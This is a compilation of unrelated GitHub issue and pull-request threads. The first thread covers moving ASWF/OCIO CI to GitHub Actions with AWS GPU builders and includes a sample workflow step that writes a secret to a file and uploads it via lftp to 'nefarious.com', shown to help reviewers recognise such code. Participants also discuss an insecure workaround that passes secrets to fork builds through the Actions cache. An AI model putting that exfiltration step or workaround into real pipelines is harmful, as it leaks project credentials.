Transition to GitHub Actions and enabling GPU builders

From email thread and @jfpanisset

My understanding of some of the steps required:

We decided to only target GitHub Actions, since that's the where ASWF projects are moving towards, and to use OCIO as the initial project to deploy this. Support for GitHub Actions is being worked on currently in OCIO, but we will need this work to appear in the repo.
We will be targeting AWS, and yes apparently it is now possible to have "sub accounts" under the overall LF releng AWS account, and to target any ASWF-specific AWS credits to that sub account.
I think for now we can target only the OCIO nightly build out of the branch in which PRs have been merged, so we don't need to solve right away the issue of managing secrets / AWS credentials in PR forks. Of course there's still the possibility of a bad actor managing to obfuscate credential stealing code that makes it past the reviewers and gets merged into the OCIO repo, but that's a general problem that everyone has to deal with, not just us.
Strict limits can be set on the ASWF AWS sub account to allow it to allocate a single GPU VM, and nothing else, we can raise these limits as our needs increase.
Most importantly, currently the "on demand GPU VM allocation via GitHub Actions" code in https://github.com/jfpanisset/cloud_gpu_build_agent is not very robust, and in particular if the build fails, it will leave the GPU VM running and chewing up money. But that code can be improved along the way, it's not a bad idea to get GPU support going in a real world CI scenario as soon as possible.

Does that correspond to everyone's recollection of where we've ended up?

Of course there's still the possibility of a bad actor managing to obfuscate credential stealing code that makes it past the reviewers and gets merged into the OCIO repo

It would be helpful if somebody could be explicit about what that would look like, so we can give guidance to reviewers. I certainly wouldn't know what to look for.
And, for example, if it would necessarily involve retrieving something from a particular environment variable, maybe we could make a github action that is run on every PR that greps the PR for any mention of it, and then we could be confident that the PR is not a security issue?

Credential stealing would be conceptually of the form:
steps:
  - shell: bash
    env:
      SUPER_SECRET: ${{ secrets.SUPER_SECRET }}
    run: |
        echo "$SUPER_SECRET" > steal_the_creds.txt
        # assume lftp or some other ftp client is installed
        lftp -u user,password -e "put steal_the_creds.txt;quit" nefarious.com

It would have to be an edit to the workflow.yml file itself, then? That seems super easy to spot, and therefore incredibly low risk of slipping by.

It would have to be to the workflow.... or a script called by the workflow.
NOTE: GitHub actions automatically redacts known secrets from console logs, but it won't do something that is munging files being used by the job.

Also, IIRC workflow changes will run if they are in a PR. Which I personally find dangerous, but I don't know how to work around it.
Theoretically someone could raise a PR with the nefarious change, wait for the modified action to run and then close the PR (no way to delete it).
At worst that means they get the credentials and we have an email saying that a PR was raised but nobody sees it and so the secret doesn't get rotated.
At best we see and act on it quickly.

This of course would only affect folks that PRs automatically run for. I do remember something about settings to disallow any random person from just causing GHA to run.

I was under the impression that GitHub Actions currently explicitly does not make secrets accessible to forks of a repo, so any pre-merge PR CI workflow would be running in the context of the submitter's fork? (as opposed to Azure Pipelines which does let you flag secrets as shareable, with the caveat that this creates a potential security issue). But yes, once a PR has been merged into the main repo, it has potential access to secrets.
Some of the workflow toolchains can get quite deep and have many nested levels, see the stuff that is used to build the ASWF Docker containers for instance. And if there's a test suite, in theory obfuscated code in the project itself could grab the secret environment variable during a test run and exfiltrate it.
So reviewer vigilance will only get you so far, monitoring of cloud provider expenditures and limiting the scope of the resources that can be allocated by the secret credentials is a good way to mitigate any potential leakage of those credentials.

But if somebody submits a PR, that triggers a CI run immediately, before we have reviewed, no?

@lgritz I haven't tested that, but I believe that to be the case.
@jfpanisset the fork won't get our secrets for their GHA runs, but a PR against our repo would use our secrets during the GHA run.

Assuming the hypothetical bad actor doesn't have commit privileges to the repo (otherwise it's game over), any changes they submit as a PR would have to come from a branch in their own forked copy of our official repo. That fork would have a copy of the GitHub Actions, but not the secrets, and pre-merge checks that are run automatically when the PR is submitted would run in the context of the forked repo without access to secrets, right? I could of course be missing something obvious.
I ran into a similar issue in the aswf-sample-project when uploading test results to CDash, where I had to add code to conditionally skip uploading for builds without access to the CDash token:
https://github.com/AcademySoftwareFoundation/aswf-sample-project/blob/master/CTestScript.cmake
This would seem to mean that GitHub Actions code has to be able to conditionally skip steps that require access to tokens that might not be present?

I'll check with my team member that has even better understanding of GHA and get back to you, or better yet have him comment into this thread.

Assuming the hypothetical bad actor doesn't have commit privileges to the repo (otherwise it's game over), any changes they submit as a PR would have to come from a branch in their own forked copy of our official repo. That fork would have a copy of the GitHub Actions, but not the secrets, and pre-merge checks that are run automatically when the PR is submitted would run in the context of the forked repo without access to secrets, right? I could of course be missing something obvious.

Yep, this is absolutely correct. Sadly all of this is conveyed as a single sentence in Github's docs:

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository.

To verify, I created a public repository with a Github Actions workflow that contained secrets, forked that repo as a user with neither write access to the repository or secrets added (to the forked copy) and created a PR back to the original repo.
As expected, the workflow failed stating the secrets weren't defined.

This would seem to mean that GitHub Actions code has to be able to conditionally skip steps that require access to tokens that might not be present?

You could do this by hardcoding the repository name into the workflow: if: github.repository == "AcademySoftwareFoundation/tac", but depending on the workflow that may render the rest of it moot.

@bramwelt do we know of a way to allow forked repos of committers to execute with the secrets?

@tykeal There's currently not a way to share secrets with forks without explicitly adding them to the forked repositories.

The GitHub Actions team are apparently looking into this, but it's a big hole in this toolset right now.

@tykeal There's currently not a way to share secrets with forks without explicitly adding them to the forked repositories.

Actually, that's not even true. I wrongly assumed this and went down a blind alley for a while. :/
This is the situation you're describing:
base/master <- fork/branch (read secret from fork/secrets)
And the reply from the GitHub Actions team about this when I enquired:

When a PR is created from fork repo to base repo, the actor of the workflow is the user that opened the pull request,  the workflow starts on the base repo. The base repo workflow cannot read the secrets existing on forked repo.

So you cannot simply add the secrets to the fork repo unfortunately (and implied in the above is that the base repo workflow cannot access the secrets existing on the base repo because it's running under the user that opened the PR).
The approach I have found to get around this is not secure, but is better than the alternative of adding the secret key as plaintext to the repo. For our case it was getting access to a download of Houdini that lives behind a secret key. I have used a regular, weekly GitHub Actions cron workflow that runs on the base repo which has access to the secret key and puts the Houdini download into the GitHub Actions cache. It's a bit of configuring to get it right, but the cache can be read by the fork repo through the restore-keys options:
https://help.github.com/en/actions/configuring-and-managing-workflows/caching-dependencies-to-speed-up-workflows#using-the-cache-action
In theory a similar approach could work here - put the secret keys into a file that you put into the GitHub Actions cache and then read it directly from the fork. The GitHub Actions cache cannot be read outside of a fork PR, so you'd at least be aware of when someone has attempted to access it. However, this has a major limitation in that these caches are cleaned up sporadically and have somewhat arbitrary limits.
Hopefully they fix all of this soon or at least expose the same toggle as Azure pipelines so we can more easily opt-out of being secure.

FYI: This PR adds GH Actions to OCIO CI:
https://github.com/AcademySoftwareFoundation/OpenColorIO/pull/991

I did some testing with OpenCue and am just about done on an initial PR
https://github.com/AcademySoftwareFoundation/OpenCue/pull/684 that adds a
first few actions, so we can test it out further.
We did hit the Docker user issue that Aloys mentioned in his other thread
https://lists.aswf.io/g/tac/topic/key_difference_between_azure/71720153.
On Mon, Apr 20, 2020 at 1:47 PM Michael Dolan<EMAIL_ADDRESS>wrote:

FYI: This PR adds GH Actions to OCIO CI:
AcademySoftwareFoundation/OpenColorIO#991
https://github.com/AcademySoftwareFoundation/OpenColorIO/pull/991
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/AcademySoftwareFoundation/tac/issues/156#issuecomment-616800331,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAPLTTZAFUZW4XFEWB5EBX3RNSYHJANCNFSM4MH2UARQ
.

As a follow up to our discussion from the April 1 CI working group meeting:
OCIO is now fully moved to GH Actions:
https://github.com/AcademySoftwareFoundation/OpenColorIO/actions
I have opened a helpdesk ticket with LF release engineering requesting AWS setup:
https://jira.linuxfoundation.org/servicedesk/customer/portal/2/IT-19573
Thanks all!

Thanks for the detail and follow ups here everyone.

We've now got a CodeBuild IAM defined that will allow us to run CodeBuild projects in us-west-2. The ID and SECRET are available in the org wide secret store.
We'll need to configure CodeBuild projects that are used and then referenced per https://github.com/marketplace/actions/aws-codebuild-run-build-action-for-github-actions

Thanks again all for helping OCIO get GPU CI up and running! Here's the GHA workflow for reference, which is now running on each merge and working well:
https://github.com/AcademySoftwareFoundation/OpenColorIO/actions?query=workflow%3AGPU


gajim portable

[ v ] Have you signed the Contributor License Agreement?
[ v ] Have you checked that there aren't other open pull requests for the same manifest update/change?

[ v ] Does your manifest conform to the 1.5 schema?

Note: <path> is the name of the directory containing the manifest you're submitting.

Microsoft Reviewers: Open in CodeFlow

Hi @1kamma,
This PR appears to modify multiple manifests:

We have a limit of 1 manifest per PR. Could the other 2 file changes be moved to other PRs?

done

Hi @1kamma,
This PR appears to modify multiple manifests:
We have a limit of 1 manifest per PR. Could the other 2 file changes be moved to other PRs?

done


Campaign/applytheme sidebar text

Summary
This PR merges the campaign branch for these completed PRs for a batched QA review:

#6697
#6696
#6695
#6694
#6693
#6692
#6686
#6680

Developer reviews have already been completed in detail, so this should just be a rubber stamp.
Ticket Link

fixes https://github.com/mattermost/mattermost-server/issues/15828
fixes https://github.com/mattermost/mattermost-server/issues/15829
fixes https://github.com/mattermost/mattermost-server/issues/15830
fixes https://github.com/mattermost/mattermost-server/issues/15831
fixes https://github.com/mattermost/mattermost-server/issues/15832
fixes https://github.com/mattermost/mattermost-server/issues/15833
fixes https://github.com/mattermost/mattermost-server/issues/15835
fixes https://github.com/mattermost/mattermost-server/issues/15836
fixes https://github.com/mattermost/mattermost-server/issues/15837

/update-branch

Testing guidance:

Applies the keyboard focused border glow colour in system console > teams > [select team] > members > add new members to team modal

Applies text colour to the accounts settings left-side buttons (normal state)

Applies background colour to group channel icons in old channel sidebar

Applies very slight border colour to 'Switch Channel ⌘K' button in old channel sidebar

Applies border colour to mention badge on team icons

Removes an unused CSS selector ... not really anything to QA here

Removes an unused CSS selector ... not really anything to QA here

Removes an unused CSS selector ... not really anything to QA here


fix standup page

Date: 30/08/2024

Developer Name: sameer supe

Issue Ticket Number

Closes #794

Description

fixes user details in table on standup page
Documentation Updated?

[ ] Yes
[x] No

Under Feature Flag

[ ] Yes
[x] No

Database Changes

[ ] Yes
[x] No

Breaking Changes

[ ] Yes
[x] No

Development Tested?

[ ] Yes
[x] No

Screenshots

Screenshot 1

https://github.com/user-attachments/assets/a9fc7a8b-7775-48fd-b377-3fb41c7a3f53

Test Coverage

Screenshot 1

Additional Notes

@Mir-SA I don't any tests stats screenshot on your PR, It's mandatory to add screenshot in every PR


r.report is not a function

VS Code Version: GitHub Codespace
OS Version: GitHub Codespace
Logs: r.report is not a function

Problem:-
When I ask something, it shows "r.report is not a function".

Please make sure you have updated to the latest version of the Copilot Chat extension, thanks

If it helps others: It's really not obvious but that I needed to "restart" the extension. You don't see unless you go to the extensions list and see a button asking you to do so. I doesn't seem to restart even if you restart vscode.


Use AndroidX for ViewCompat

Summary

Test Plan

Use AndroidX for ViewCompat
Compatibility

OS
Implemented

iOS
❌

Android
✅

Checklist

[x] I have tested this on a device and a simulator
[ ] I added the documentation in README.md
[ ] I mentioned this change in CHANGELOG.md
[ ] I updated the typed files (TS and Flow)
[ ] I added a sample use of the API in the example project (example/App.js)

This project is on hold. Please report the react native core


NSString tests fail on OSX (integer formatting-related)

[ RUN      ] NSString.NSStringTests
Foundation/NSStringTests.m:101: Failure
Value of: actualString
Actual: ffffffffffffffff<PHONE_NUMBER>
Expected: @"ffffffff -2147483648"
Which is: ffffffff -2147483648
[  FAILED  ] NSString.NSStringTests (0 ms)
[ RUN      ] NSString.IntegerValue
Foundation/ReferenceFoundation/TestNSString.mm:88: Failure
Value of:<PHONE_NUMBER>
Expected: [string9 integerValue]
Which is:<PHONE_NUMBER>854775807
[  FAILED  ] NSString.IntegerValue (1 ms)
[ RUN      ] NSString.IntValue
Foundation/ReferenceFoundation/TestNSString.mm:120: Failure
Value of:<PHONE_NUMBER>854775807L
Actual:<PHONE_NUMBER>854775807
Expected: [string9 intValue]
Which is:<PHONE_NUMBER>
[  FAILED  ] NSString.IntValue (1 ms)

libobjc2 should not have changed. Investigating.

:shipit:


Send lifecycle execution status immediately when async_enabled is false

Generally for most of the drivers which implements Ignition, execute_lifecycle() would return some acknowledgement as a response, then a background thread is started to monitor the execution by calling get_lifecycle_execution(). On the basis of that the driver would have a way to check the status of the request. But in some cases (Netconf Driver), the result is coming back immediately and so we can call lifecycle_messaging_service.send_lifecycle_execution immediately when async_enabled is false.
Related to https://github.com/IBM/netconf-driver/issues/11

@haynesdavis , this can't be closed as PR is still open.


Flaky Servers Test: Settings_MaxHeaderListSize_Server

The Settings_MaxHeaderListSize_Server test is failing fairly consistently on CI (~40% failure rate). We need to resolve the flakiness.

@anurse it's already marked as flaky, and it's caused by a client issue https://github.com/dotnet/runtime/issues/860. Do you want to disable it?

Where did you get that percentage?

@ryanbrandenburg did some very unscientific math :).

@Tratcher I looked at the history histogram and guessed.

This is already marked flaky, so we're good here.

What work item tracks marking this as not-flaky when it's resolved?


Guest do not sync time after resume

After suspend and resume guest do not sync system time with host.
Minimal steps to reproduce:
vagrant init puppetlabs/debian-7.8-64-nocm
vagrant up --provider virtualbox
vagrant suspend
... wait ...
vagrant resume

Sorry, although this might be an issue with the guest additions, it does not look like an issue with this plugin. Please check with the Vagrant or VirtualBox project.


SIGSEGV on replacing by empty value

What happened?
[my-pod] Replacing Pod username/my-pod-5f79f5894c-94zg7...
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x48 pc=0x524996d]

goroutine 116 [running]:
github.com/loft-sh/devspace/pkg/devspace/config/loader/patch.replaceChildAtIndex(0xc00117b400, 0xc001223fb0, 0x0)
	github.com/loft-sh/devspace/pkg/devspace/config/loader/patch/operation.go:156 +0x8d
github.com/loft-sh/devspace/pkg/devspace/config/loader/patch.(*Operation).replace(...)
	github.com/loft-sh/devspace/pkg/devspace/config/loader/patch/operation.go:96
github.com/loft-sh/devspace/pkg/devspace/config/loader/patch.(*Operation).Perform(0xc000629980, 0x3c35)
	github.com/loft-sh/devspace/pkg/devspace/config/loader/patch/operation.go:64 +0x51c
github.com/loft-sh/devspace/pkg/devspace/config/loader/patch.Patch.Apply({0xc00051e000, 0x7, 0x4000}, {0xc000640000, 0xc0011c63c0, 0x4000})
	github.com/loft-sh/devspace/pkg/devspace/config/loader/patch/patch.go:20 +0x1c5
github.com/loft-sh/devspace/pkg/devspace/config/loader.ApplyPatchesOnObject(0x5d07dc8, {0xc001d18d80, 0xb, 0x27})
	github.com/loft-sh/devspace/pkg/devspace/config/loader/profile.go:187 +0x4c7
github.com/loft-sh/devspace/pkg/devspace/services/podreplace.applyPodPatches(0xc001766918, 0xc001d0c1b0)
	github.com/loft-sh/devspace/pkg/devspace/services/podreplace/replace.go:557 +0x94
github.com/loft-sh/devspace/pkg/devspace/services/podreplace.replace({0x5d20bf8, 0xc0001a4008}, {0x5d6de08, 0xc001840fc0}, 0xc0019a0360, {0x5d07120, 0xc000338000}, {0x5d3cff8, 0xc001da84b0}, {0x0, ...}, ...)
	github.com/loft-sh/devspace/pkg/devspace/services/podreplace/replace.go:341 +0x225
github.com/loft-sh/devspace/pkg/devspace/services/podreplace.(*replacer).ReplacePod(0xc0010836c8, {0x5d20bf8, 0xc0001a4008}, {0x5d6de08, 0xc001840fc0}, {0x5d3cff8, 0xc001da84b0}, {0x0, 0x0, 0x0}, ...)
	github.com/loft-sh/devspace/pkg/devspace/services/podreplace/replace.go:106 +0x83d
github.com/loft-sh/devspace/pkg/devspace/services.(*client).newReplacePodsFn.func1()
	github.com/loft-sh/devspace/pkg/devspace/services/pod_replace.go:29 +0x270
github.com/loft-sh/devspace/pkg/devspace/services.(*runner).Run.func1()
	github.com/loft-sh/devspace/pkg/devspace/services/runner.go:37 +0x75
created by github.com/loft-sh/devspace/pkg/devspace/services.(*runner).Run
	github.com/loft-sh/devspace/pkg/devspace/services/runner.go:34 +0x9d

What did you expect to happen instead?
[my-pod] Replacing Pod username/my-pod-5f79f5894c-94zg7...
[my-pod] Scaled down Deployment username/my-pod

How can we reproduce the bug? (as minimally and precisely as possible)
I used to have:
profiles:
    -   name: __base
        patches:
          - op: add
            path: dev.replacePods[0].patches
            value:
                op: replace
                path: spec.initContainers

And it worked well to replace initContainers that don't need to run on veery restart.
Now it only works if I explicitly add [] as a value:
profiles:
    -   name: __base
        patches:
          - op: add
            path: dev.replacePods[0].patches
            value:
                op: replace
                path: spec.initContainers
                value: []

Local Environment:

DevSpace Version: 5.17.0
Operating System: mac
Deployment method: apply

Kubernetes Cluster:

Cloud Provider: other
Kubernetes Version: 1.18.12

Anything else we need to know?

/kind bug

@emoreth thanks for creating this issue! We'll fix that with the next release

The fix is merged.


"You server is inaccessible!"

Hi,
Thanks you for you script
In discord, i have message : "Your Plex Server is not accessible!" with >movie command.
My IP is visible from the WAN http://176.150.XXX.XXX:32400 and i have try with my custom domain and i have same error ..

I forgot something ?
Thanks

Have you tried reading the FAQ? Also please check the "remote" tab in the Plex server you are using and copy the address that is listed there. You will have to click the "Show Advanced" button. Everything should be working, there is just something wrong with your Plex setup, or the URL you gave Mazi.

Yes i have 30 users in my plex, i have reading the [FAQ] yes

Are you the owner of the Plex server?

Yes I tried disabling MFA, disabling PIN, rebooting, opening ports, shutting down firewall but same problem.
My plex email is not the same on Mazi, could that be a problem?

Can you please send the full ip, or domain that you are trying to use?

Also, I am looking through the server database, and I don't see an ip that starts with the one you sent in the picture

i have try http://plex-max.fr:32400  or   http://<IP_ADDRESS>:32400
can you hide my ip after read please?

Well, neither addresses even respond, so there must be something wrong with your port forwarding.

I tried with friends and the ip works fine.
Too bad, thanks again.


[Proxy] "http proxy error:Error: socket hang up" on Windows

Environment
Nuxi 3.0.0

RootDir: C:/Users/User/works/Web/frontend
Nuxt project info:

------------------------------
- Operating System: `Windows_NT`
- Node Version:     `v18.12.1`
- Nuxt Version:     `3.0.0`
- Nitro Version:    `1.0.0`
- Package Manager<EMAIL_ADDRESS>- Builder:          `vite`
- User Config:      `modules`, `ssr`, `proxy`, `css`, `vite`
- Runtime Modules:  `<EMAIL_ADDRESS>`()`
- Build Modules:    `-`
------------------------------

Nuxt Config
import vuetify from 'vite-plugin-vuetify'

export default defineNuxtConfig({
  modules: [
    '@nuxtjs-alt/proxy',
  ],
  ssr: true,
  proxy: {
    enableProxy: true,
    proxies: {
      '^/(api)/?.*': {
        target: `http://localhost:${process.env.RAILS_PORT || 3001}`,
        changeOrigin: true,
        ws: false
      },
    },
    fetch: true
  },
})

Reproduction
(It's a bug related to platform)
Describe the bug
I run Nuxt at port 3000 while there is a rails api server at 3001.
In this case, I setup http://localhost:3000/api/*  proxies to http://localhost:3001/api/*.
This is both works on a Alpine OS and my MacOS Ventura.
However it breaks on my colleague's Windows 10 also mine when api get fetched by SSR. But I can normally access to http://localhost:3000/api/* without any error. I've tried other public domain URL, but nothing changes.
Furthermore, when ssr set to false will prevent this error.
For this reason, I'm convinced that is a bug highly related to Window Platform and SSR. Maybe it's caused by Vite or Nitro.
Additional context
I've checked bellow links, but nothing helps:

https://github.com/refactorjs/http-proxy
https://github.com/vitejs/vite/issues/4794

Logs
http proxy error:Error: socket hang up                                                                                17:12:17
    at connResetException (node:internal/errors:711:14)
    at Socket.socketCloseListener (node:_http_client:467:25)
    at Socket.emit (node:events:525:35)
    at TCP.<anonymous> (node:net:313:12) {
  timestamp: true,
  error: Error: socket hang up
      at connResetException (node:internal/errors:711:14)
      at Socket.socketCloseListener (node:_http_client:467:25)
      at Socket.emit (node:events:525:35)
      at TCP.<anonymous> (node:net:313:12) {
    code: 'ECONNRESET'
  }
}
/api/funds -> http://localhost:3001                                                                                17:12:36
http proxy error:Error: socket hang up                                                                                17:12:36
    at connResetException (node:internal/errors:711:14)
    at Socket.socketCloseListener (node:_http_client:467:25)
    at Socket.emit (node:events:525:35)
    at TCP.<anonymous> (node:net:313:12) {
  timestamp: true,
  error: Error: socket hang up
      at connResetException (node:internal/errors:711:14)
      at Socket.socketCloseListener (node:_http_client:467:25)
      at Socket.emit (node:events:525:35)
      at TCP.<anonymous> (node:net:313:12) {
    code: 'ECONNRESET'
  }
}

probably has to do with this issue https://github.com/nuxt/framework/issues/9074. I had specifically disabled nitro options on windows platforms with the modules because of pathing issues. maybe it's fixed now, i remove d the restrictions on the module so you can test it out, bout other than that I wouldn't have a fix.

Thanks for the information.
Following your clue. I found the problem is caused by Nitro:resolvePath
Workaround
The windows formatted path is got transformed incorrectly by Nitro. I think it's nothing to do with Nuxt itself.
The solution is to manually hack this file by adding file:// before ${plugin}, like:
${nitro.options.plugins.map(plugin => `import _${hash(plugin)} from 'file://${plugin}';`).join('\n')}

Tested on linux-like OS. It' correct to add file:// on any of absolute path import.
I'll report to Nitro later.
TLDR
Nitro will generate a script at .nuxt/dev/index.mjs before server up:
//...
import { toRouteMatcher, createRouter } from 'file://C:/Users/User/works/Web/frontend/node_modules/radix3/dist/index.mjs';
import _ROuXHMtK6R from 'C:/Users/User/works/Web/frontend/.nuxt/nitro-fetch.mjs';
import { createProxyServer } from<EMAIL_ADDRESS>//...

Then node complains:
ERROR  [worker reload] [worker init] Only URLs with a scheme in: file, data are supported by the default ESM loader. On Windows, absolute paths must be valid file:// URLs. Received protocol 'c:'

In brief,
C:/foo/bar.js

should be corrected to:
file://C:/foo/bar.js


RDPWrap seems to break "other supported RemoteFX USB devices"

When you have setup a Windows 10 client and host so they support USB forwarding (client GPO Allow RDP redirection of other supported RemoteFX USB devices from this computer enabled and host GPO Do not allow supported Plug and Play device redirection disabled) forwarding of devices listed under "other supported RemoteFX USB devices" on the client still will not work when RDPWrap is enabled.
I'm not sure if this is also due to the general problems with RemoteFX described in other issues or if this maybe could get enabled/worked around somehow... Any info regarding this matter would be very helpful.
And if there is no way to enable it, are there known/good supplementary tools (ie something like USB over IP) we could use as workaround?
Thanks in advance!

I also have this question and  when we use rdpwrapper no more can redirect usb devices...
is it solvable?


Building Istio images based on gcr.io/distroless/*

Describe the feature request
In order to use Istio in production, we need to scan and assess Istio images for vulnerabilities.
We would have an easier job, if Istio images would be based on smaller base images or preferably no base image at all.
Describe alternatives you’ve considered
We could accomplish this also by stripping down the existing images on our own, to remove executables with known vulnerabilities.
Additional context
Vulnerabilities are a common concern for all users of Istio, so all users could profit from Istio images with a smaller attack surface.
We already had a look into the different images, and saw that some are already built FROM scratch:

Mixer
Sidecar Injector
Citadel

The images that use a distribution as a base image are:

Galley
Pilot
Envoy
Proxy Init

We would like to provide Dockerfiles for the latter images that create a bare image and add their creation to the Makefiles so that they are published as additional images by the Istio build.

All components except Envoy could be built from scratch. I think the only reason they are not all yet, was to add debugging tools (e.g. curl).

@kyessenov When we had different images for debug vs non-debug istio-proxy it was a pain.
One that that might work would be to have a sleep-ing debug container with tools like curl and tcpdump.  The istio-sidecar-injector could be configured to inject, or not inject, this non-functional debug container.
The other thing I do interactively for debugging is to use bash, ls, cat, and ps on the sidecar.  It might be possible to just add a few tools rather than a full distro.

@esnible All of the standard UNIX tools carry security risks. It's a matter whether we are willing to take on adding extra stuff to containers for the sake of usability.

All components except Envoy could be built from scratch. I think the only reason they are not all yet, was to add debugging tools (e.g. curl).

I'd say even Envoy could be build from scratch. As a PoC I ran objdump and ldd to figure out the linked libraries.
$ objdump -s -j .interp /usr/local/bin/envoy

/usr/local/bin/envoy:     file format elf64-x86-64

Contents of section .interp:
 2002a8 2f6c6962 36342f6c 642d6c69 6e75782d  /lib64/ld-linux-
 2002b8 7838362d 36342e73 6f2e3200           x86-64.so.2.

$ ldd /usr/local/bin/envoy
	linux-vdso.so.1 =>  (0x00007fff4deaa000)
	librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007fd962fa9000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd962da5000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd962b88000)
	libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fd96287f000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd9624b5000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fd9631b1000)

Given that we could have a two-stage Dockerfile that copies only the necessary bits to a FROM scratch runtime image.
FROM envoyproxy/envoy AS staging

RUN mkdir /tmp/tmp

FROM scratch

COPY --from=staging /tmp/tmp /tmp

# copy loader (taken from objdump -s -j .interp /usr/local/bin/envoy)
COPY --from=staging /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2

# copy dependent libs (taken from ldd /usr/local/bin/envoy)
COPY --from=staging /lib/x86_64-linux-gnu/librt.so.1 /lib/x86_64-linux-gnu/librt.so.1
COPY --from=staging /lib/x86_64-linux-gnu/libdl.so.2 /lib/x86_64-linux-gnu/libdl.so.2
COPY --from=staging /lib/x86_64-linux-gnu/libpthread.so.0 /lib/x86_64-linux-gnu/libpthread.so.0
COPY --from=staging /lib/x86_64-linux-gnu/libm.so.6 /lib/x86_64-linux-gnu/libm.so.6
COPY --from=staging /lib/x86_64-linux-gnu/libc.so.6 /lib/x86_64-linux-gnu/libc.so.6

COPY --from=staging /usr/local/bin/envoy /usr/local/bin/envoy

COPY --from=staging /etc/envoy/envoy.yaml /etc/envoy/envoy.yaml

CMD ["envoy", "-c", "/etc/envoy/envoy.yaml"]

The resulting container at least starts successfully.
$ docker run -ti envoy:minimal
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:202] initializing epoch 0 (hot restart version=10.200.16384.127.options=capacity=16384, num_slots=8209 hash=228984379728933363 size=2654312)
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:204] statically linked extensions:
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:206]   access_loggers: envoy.file_access_log,envoy.http_grpc_access_log
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:209]   filters.http: envoy.buffer,envoy.cors,envoy.ext_authz,envoy.fault,envoy.filters.http.grpc_http1_reverse_bridge,envoy.filters.http.header_to_metadata,envoy.filters.http.jwt_authn,envoy.filters.http.rbac,envoy.filters.http.tap,envoy.grpc_http1_bridge,envoy.grpc_json_transcoder,envoy.grpc_web,envoy.gzip,envoy.health_check,envoy.http_dynamo_filter,envoy.ip_tagging,envoy.lua,envoy.rate_limit,envoy.router,envoy.squash
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:212]   filters.listener: envoy.listener.original_dst,envoy.listener.original_src,envoy.listener.proxy_protocol,envoy.listener.tls_inspector
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:215]   filters.network: envoy.client_ssl_auth,envoy.echo,envoy.ext_authz,envoy.filters.network.dubbo_proxy,envoy.filters.network.mysql_proxy,envoy.filters.network.rbac,envoy.filters.network.sni_cluster,envoy.filters.network.thrift_proxy,envoy.http_connection_manager,envoy.mongo_proxy,envoy.ratelimit,envoy.redis_proxy,envoy.tcp_proxy
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:217]   stat_sinks: envoy.dog_statsd,envoy.metrics_service,envoy.stat_sinks.hystrix,envoy.statsd
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:219]   tracers: envoy.dynamic.ot,envoy.lightstep,envoy.tracers.datadog,envoy.zipkin
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:222]   transport_sockets.downstream: envoy.transport_sockets.alts,envoy.transport_sockets.tap,raw_buffer,tls
[2019-02-28 10:41:56.806][1][info][main] [source/server/server.cc:225]   transport_sockets.upstream: envoy.transport_sockets.alts,envoy.transport_sockets.tap,raw_buffer,tls
[2019-02-28 10:41:56.808][1][warning][misc] [source/common/protobuf/utility.cc:156] Using deprecated option 'envoy.api.v2.listener.Filter.config' from file listener.proto. This configuration will be removed from Envoy soon. Please see https://github.com/envoyproxy/envoy/blob/master/DEPRECATED.md for details.
[2019-02-28 10:41:56.808][1][warning][misc] [source/common/protobuf/utility.cc:156] Using deprecated option 'envoy.api.v2.Cluster.hosts' from file cds.proto. This configuration will be removed from Envoy soon. Please see https://github.com/envoyproxy/envoy/blob/master/DEPRECATED.md for details.
[2019-02-28 10:41:56.810][1][info][main] [source/server/server.cc:272] admin address: <IP_ADDRESS>:9901
[2019-02-28 10:41:56.811][1][info][config] [source/server/configuration_impl.cc:50] loading 0 static secret(s)
[2019-02-28 10:41:56.811][1][info][config] [source/server/configuration_impl.cc:56] loading 1 cluster(s)
[2019-02-28 10:41:56.812][1][info][config] [source/server/configuration_impl.cc:65] loading 1 listener(s)
[2019-02-28 10:41:56.815][1][info][config] [source/server/configuration_impl.cc:90] loading tracing configuration
[2019-02-28 10:41:56.815][1][info][config] [source/server/configuration_impl.cc:110] loading stats sink configuration
[2019-02-28 10:41:56.815][1][info][main] [source/server/server.cc:472] starting main dispatch loop
[2019-02-28 10:41:56.819][1][info][upstream] [source/common/upstream/cluster_manager_impl.cc:137] cm init: all clusters initialized
[2019-02-28 10:41:56.820][1][info][main] [source/server/server.cc:446] all clusters initialized. initializing init manager
[2019-02-28 10:41:56.820][1][info][config] [source/server/listener_manager_impl.cc:1008] all dependencies initialized. starting workers

@mattklein123 @PiotrSikora Do you think an approach like the above would have a chance to get upstream blessing, next to ci/Dockerfile-envoy-alpine and ci/Dockerfile-envoy-image?
Regarding developer convenience vs. minimal attack surface. IMHO it would be fine to provide both a *_minimal and a *_debug variant of all Istio images. I find it strange to provide only the debug variant though.

instead of from scratch I would encourage folks to look at the distroless containers:
https://github.com/GoogleContainerTools/distroless

@sdake didn't know that. Thanks for the pointer. Seems like static or base would be candidates for the Istio go binaries.
I will try to base the objdump and ldd trick on those as well...

We created a new envoy docker image based on gcr.io/distroless/cc.
We are using the e2e_pilot test  with the 1.1.0 release to verify that the image is working fine.
In both cases (with and without distroless) we get exactly the same 19 failures:
--- FAIL: TestRouteHTTPViaEgressGateway (30.65s)
    --- FAIL: TestRouteHTTPViaEgressGateway/RouteHTTPViaEgressGateway (18.42s)
--- FAIL: TestRouteSNIViaEgressGateway (54.35s)
